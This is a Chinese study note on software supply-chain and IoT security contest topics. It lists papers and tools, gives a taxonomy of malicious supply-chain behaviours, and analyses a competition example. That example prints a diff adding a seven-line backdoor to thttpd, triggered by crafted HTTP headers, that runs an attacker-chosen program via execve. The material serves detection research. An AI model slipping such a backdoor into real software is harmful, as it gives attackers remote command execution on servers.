安全场景-软件供应链及物联网安全

供应链及物理网安全

##### 1、APK分析

考察点:逆向分析、文档收集、数据分析

##### 2、软件供应链安全分析

  • MaMaDroid【13】
  • Drebin 【14】
  • AppContext【20】

==考察点:二进制代码分析,二进制函数特征提取,补丁比较,源代码分析==

  • 如V. Livshits 等使用静态分析的方法在Java 源代码中进行脆弱性(vulnerability)检测的策略[47]。
  • G. Grieco 和G. Grinblat 等使用机器学习方法根据软件的内存错误信息训练测试模型, 检测软件漏洞的研究[49] Toward Large-Scale Vulnerability Discovery Using Machine Learning
  • 彭小详等人的研究针对加壳技术, 提出了对恶意程序进行自动脱壳的方法[59]。Research of Malicious Code in Automatic Unpacking
  • 「功守道」软件供应链安全大赛·C源代码赛季启示录

##### 3、PowerShell反混淆

考察点:代码分析, 混淆语句定位、还原

  • XShell污染
  • CCleaner投毒
混淆原理

网上帖子太多了,可以参考下看雪论坛用户发的翻译贴: https://bbs.pediy.com/thread-248034.htm

自动化反混淆工具

Unit42安全团队编写的PowerShellProfiler.py: github地址: https://github.com/pan-unit42/public_tools/tree/master/powershellprofiler 用法及原理参考: https://www.freebuf.com/sectool/219057.html

##### 4、物联网漏洞挖掘

考察点:常见漏洞原理,二进制逆向工程,自动化程序分析

相关论文

DroidMD: an efficient and scalable Android malware detection approach at source code level (2021 C&S)

Detection of Repackaged Android Malware with Code-Heterogeneity Features.(2020 TDSC)

1.1 软件供应链

软件供应链安全工具DependencyTrack的使用

https://www.cnblogs.com/bonelee/p/13768901.html

1.2 物联网安全

常见恶意行为

*标注为单点确定性恶意行为,**标注为二阶段恶意行为中的上游或下游行为,#标注为复合恶意行为

* 敏感信息异常采集:针对生产环境,最大的威胁不是造成应用执行异常,而是在无形中泄漏关键敏感数据,包括可能造成机器控制权丧失的系统相关配置数据,关键的应用存储的用户数据等。

  • 口令与秘钥类型文件直接操作 *
  • 系统敏感配置文件绕过API直接读取 *
  • 典型服务端应用敏感配置文件直接读取 *
  • 系统账户操作历史相关信息读取 **
  • 典型服务端应用管理账户和用户数据读取 **
  • 系统一般描述性信息采集 **
  • 软件供应链上游特定资源数据探测、获取和泄漏(如源码遍历泄漏) #

* 关键数据篡改:任何需要在生产环境上,修改、写入数据或代码从而实现恶意打击的行为,我们统一归纳到这一类里面,较为泛化。

  • 覆盖、篡改或插入口令秘钥类型文件用以账户植入 *
  • 系统、用户环境变量和关键配置文件修改 **
  • 自动执行脚本/用户操作历史篡改 **
  • 典型服务端应用配置文件和关键数据文件绕过API方式篡改 *
  • 系统/典型应用重要位置的脚本/可执行文件置换 **
  • 开发、测试等环境系统默认工具链篡改替换 *
  • 开发、测试等环境特定类型源文件/资源文件篡改污染 #

*不可信数据传入渠道:以上两者重点考察了隐形的软件供应链本地恶意行为。在涉及到网络和交互的场景下,通过从供应链上进行污染,一种比较直接且有持续后效的恶意行为就是撕开一个口子,供后续入侵进场。

  • 下载敏感类型文件到临时目录 **
  • 关键可执行文件(系统应用/关键服务端应用/关键库)下载/释放 **
  • 网络传入指令/地址类型数据且无校验执行/访问 *

* 不可信信息外传渠道。对应于上面的传入。敏感数据的采集后,需要搭配对应的下游传出才能形成完整恶意行为链路,常规可能的渠道形式分为两类。

  • 上游数据未脱敏形式的网络传出(TCP/UDP/ICMP) **
  • 上游数据未脱敏形式的本地确定位置落盘 **

* 其它典型木马后门行为。在上述行为框架之外,在生产环境上具有非单纯破坏效果的恶意行为,划分为此类,包括但不限于:

  • 键盘hook等输入监控行为 *

  • 网络劫持行为 *

  • 全局挂钩注入行为 **

  • 远程控制 #

经典赛题事例

#1:thttpd后门陷阱

从基础软件或应用上面入手,稳定可控的后门是最佳选择。而在一个无关应用中突兀地出现网络连接,隐蔽性总归很差;在thttpd当中,以很袖珍的代码实现稳定的后门,是这里首先要呈现的一个题目。

在thttpd项目,恶意代码嵌入到libhttpd.c文件中,上下游恶意代码相关上下文:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
*** /thttpd/libhttpd.c

--- malware/libhttpd.c

*************** httpd_parse_request( httpd_conn* hc )

*** 2102,2107 ****

--- 2102,2113 ----

cp += strspn( cp, " \t" );

hc->useragent = cp;

}

+ else if ( strncasecmp( buf, "TE:", 3 ) == 0)

+ {

+ cp = &buf[3];

+ cp += strspn( cp, " \t");

+ hc->hs->cgi_pattern = cp;

+ }

else if ( strncasecmp( buf, "Host:", 5 ) == 0 )

{

cp = &buf[5];

*************** cgi_child( httpd_conn* hc )

*** 3560,3565 ****

--- 3566,3576 ----

#endif /* HAVE_SIGSET */

/* Run the program. */

+ if ( strstr( hc->acceptl, "en;q=1.1") != (char*)0 )

+ {

+ binary = argp[1];

+ argp++;

+ }

(void) execve( binary, argp, envp );

/* Something went wrong. */

后门会根据http头判断是否开启cgi功能,并根据http头Accept-Language决定解析执行文件的路径。上述代码段中,首先通过http头TE:设置开启cgi功能(对应上述代码中,httpd_parse_request函数中插入的else if ( strncasecmp( buf, "TE:", 3 ) == 0) {...}代码块)。而下游代码同样巧妙,指定特殊的Accept-Language: en;q=1.1决定是否执行指定的系统命令(即cgi_child函数插入的if ( strstr( hc->acceptl, "en;q=1.1") != (char*)0 ) {...}代码块)。

本例恶意行为的主要特点:

  • 该后门的嵌入,新增代码量极小(共7行),巧妙借用了thttpd处理用户请求、cgi的原本逻辑,借用了execve的调用,没有任何新增的API调用等行为,可以躲避有意识的行为特征匹配检测。
  • 该后门在代码中的插入,分布在了存在逻辑关联的上下游两个位置,在源代码分析领域,属于过程间代码扫描问题,对于基于语义的源代码静态扫描方案也提出了很高的要求。